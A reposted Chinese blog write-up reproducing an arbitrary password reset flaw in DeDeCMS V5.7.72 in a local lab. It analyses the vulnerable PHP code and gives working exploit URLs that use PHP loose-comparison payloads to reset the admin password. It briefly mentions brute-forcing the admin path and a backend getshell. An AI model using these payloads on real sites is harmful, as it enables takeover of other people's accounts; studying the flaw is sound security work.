DeDecms(织梦CMS) V5.7.72任意用户密码重置漏洞复现

Posted wangtanzhi

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了DeDecms(织梦CMS) V5.7.72任意用户密码重置漏洞复现相关的知识,希望对你有一定的参考价值。

前言

好几天没审计了,就来复现一下这个cms,难度也不是太高。

漏洞攻击流程

1:首先利用弱类型进入密码重置

http://127.0.0.1/dedecms/member/resetpassword.php?dopost=safequestion&safequestion=0.0&safeanswer=&id=1

技术图片

admin默认mid是1

2:通过抓包获取到?key?值

3:去掉多余的字符访问修改密码链接

dedecms/member/resetpassword.php?dopost=getpasswd&id=1&key=xxxxx

这样我们就跳转得到了密码重置页面
技术图片

代码分析

环境DeDecms(织梦CMS) V5.7.72+php7.2+apache
漏洞文件入口:

member/resetpassword.php?文件
技术图片

这里是一个重新设置登陆密码功能,我们使用的是使用安全问题找回密码:

$dopost?==?"safequestion"

通过传入的?$mid?对应的?id?值来查询对应用户的安全问题
这里的大问题就是使用==判断安全问题和安全问题答案,这就给了我们利用弱类型绕过的可能,我们就可以绕过验证进行下一步的密码重置
怎么绕过呢?

假设用户没有设置安全问题和答案,那么默认情况下安全问题的值为?0?,答案的值为?null?(这里是数据库中的值,即?$row[‘safequestion‘]="0"?、?$row[‘safeanswer‘]=null?)。当没有设置?safequestion?和?safeanswer?的值时,它们的值均为空字符串。第11行的if表达式也就变成了?if(‘0‘ == ‘‘ && null == ‘‘)?,即?if(false && true)?,所以我们只要让表达式?$row[‘safequestion‘] == $safequestion?为?true?即可。下图是?null == ‘‘?的判断结果:
技术图片

我们可以利用?php弱类型?的特点,来绕过这里?$row[‘safequestion‘] == $safequestion?的判断,通过测试找到了三个的payload,分别是?0.0?、?0.?、?0e1?,这三种类型payload均能使得?$row[‘safequestion‘] == $safequestion?为?true?,即成功进入?sn?函数。

技术图片

默认状态下,临时密码的表为空,如下

mysql> select * from dede_pwd_tmp;
Empty set (0.00 sec

当我们访问完payload时,
链接会自动跳转到http://localhost/dedecms/member/resetpassword.php?dopost=getpasswd&id=1&key=xxxx

key的值就是admin的临时密码,这时再查询数据库的临时密码表,你会发现多了一条admin的记录
这也是为什么
执行?SELECT * FROM #@__pwd_tmp WHERE mid = ‘$mid‘?语句时,返回结果为空
我们看到继续执行了newmail函数执行插入操作:

function?newmail($mid,?$userid,?$mailto,?$type,?$send)
{
????global?$db,$cfg_adminemail,$cfg_webname,$cfg_basehost,$cfg_memberurl;
????$mailtime?=?time();
????$randval?=?random(8);
????$mailtitle?=?$cfg_webname.":密码修改";
????$mailto?=?$mailto;
????$headers?=?"From:?".$cfg_adminemail."
Reply-To:?$cfg_adminemail";
????$mailbody?=?"亲爱的".$userid.":
您好!感谢您使用".$cfg_webname."网。
".$cfg_webname."应您的要求,重新设置密码:(注:如果您没有提出申请,请检查您的信息是否泄漏。)
本次临时登陆密码为:".$randval."?请于三天内登陆下面网址确认修改。
".$cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid;
????if($type?==?‘INSERT‘)
????{
????????$key?=?md5($randval);
????????$sql?=?"INSERT?INTO?`#@__pwd_tmp`?(`mid`?,`membername`?,`pwd`?,`mailtime`)VALUES?(‘$mid‘,?‘$userid‘,??‘$key‘,?‘$mailtime‘);";
????????if($db->ExecuteNoneQuery($sql))
????????{
????????????if($send?==?‘Y‘)
????????????{
????????????????sendmail($mailto,$mailtitle,$mailbody,$headers);
????????????????return?ShowMsg(‘EMAIL修改验证码已经发送到原来的邮箱请查收‘,?‘login.php‘,‘‘,‘5000‘);
????????????}?else?if?($send?==?‘N‘)
????????????{
????????????????return?ShowMsg(‘稍后跳转到修改页‘,?$cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval);
????????????}

该代码主要功能是发送邮件至相关邮箱,并且插入一条记录至?dede_pwd_tmp?表中。而恰好漏洞的触发点就在这里,我们看看?第13行?至?第18行?的代码,如果?($send == ‘N‘)?这个条件为真,通过?ShowMsg?打印出修改密码功能的链接。?第17行?修改密码链接中的?$mid?参数对应的值是用户id,而?$randval?是在第一次?insert?操作的时候将其?md5?加密之后插入到?dede_pwd_tmp?表中,并且在这里已经直接回显给用户。那么这里拼接的url其实是

http://127.0.0.1/member/resetpassword.php?dopost=getpasswd&id=$mid&key=$randval
也就是说这里的id,key我们可控

继续跟进一下?dopost=getpasswd?的操作,相关代码位置在?member/resetpassword.php?中,

技术图片

我们先从96行看,dopost=getpasswd时
会先判断id是否为空
如果不为空,进入
$row?=?$db->GetOne("SELECT?*?FROM?#@__pwd_tmp?WHERE?mid?=?‘$mid‘");

这里如果$row为空,就会退出,但是我们第一步payload使得mid已经在临时密码表中存在了,所以一定不为空,继续执行:
判断时间是否超时,如果没有,进入

templets/resetpassword2.htm

我们去看看
技术图片

这里密码修改页面会将?$setp?赋值为2

由于现在的数据包中?$setp=2?,因此这部分功能代码实现又回到了?member/resetpassword.php?文件中。
技术图片

从临时密码表中取出来key和我们前端url中的key对比,相等执行密码修改。
到此,这就是整个漏洞利用过程。

攻击过程

这里我们使用test账户重置admin密码
开始也提过了
1:首先利用弱类型进入密码重置

http://127.0.0.1/dedecms/member/resetpassword.php?dopost=safequestion&safequestion=0.0&safeanswer=&id=1

技术图片

技术图片

admin默认mid是1

2:通过抓包获取到?key?值:key=KUvaNLpw
此时临时密码表中有了我们的key:
技术图片

技术图片

3:去掉多余的字符访问修改密码链接

dedecms/member/resetpassword.php?dopost=getpasswd&id=1&key=KUvaNLpw

这样我们就跳转得到了密码重置页面
技术图片

PS

这个漏洞利用还有一个条件:

网站开启了会员注册功能,如果不知道如何开启的话,可以按照下图进行开启测试
技术图片

这里我一开始不知道。。导致耽误了一会时间。‘
还有就是一开始不知道默认后台是dede。。使用了爆破的方法。。
技术图片

从网上直接找的dedecms检测插件也能检测出来漏洞:
技术图片

这里看到有getsghell漏洞,确实存在不过不是这个
是后台存在多处fwrite函数导致getshellgetshell
技术图片

这里这个不是我们的重点简单提一句。。

参考

https://github.com/hongriSec/PHP-Audit-Labs/blob/master/Part1/Day4/files/README.md

以上是关于DeDecms(织梦CMS) V5.7.72任意用户密码重置漏洞复现的主要内容,如果未能解决你的问题,请参考以下文章

织梦dedecms后台管理账号和密码被篡改,请问如何找到这个漏洞

怎么让dedecms织梦网站首页自动更新

如何实现dedecms(织梦CMS)管理系统TAG标签静态化?

用DEDECMS搭建网站的安全篇:默认模板路径漏洞

dedecms织梦程序怎么设置网站添加文章之后自动更新

在织梦cms中dede_archives表有那些些字段是必须插入数据?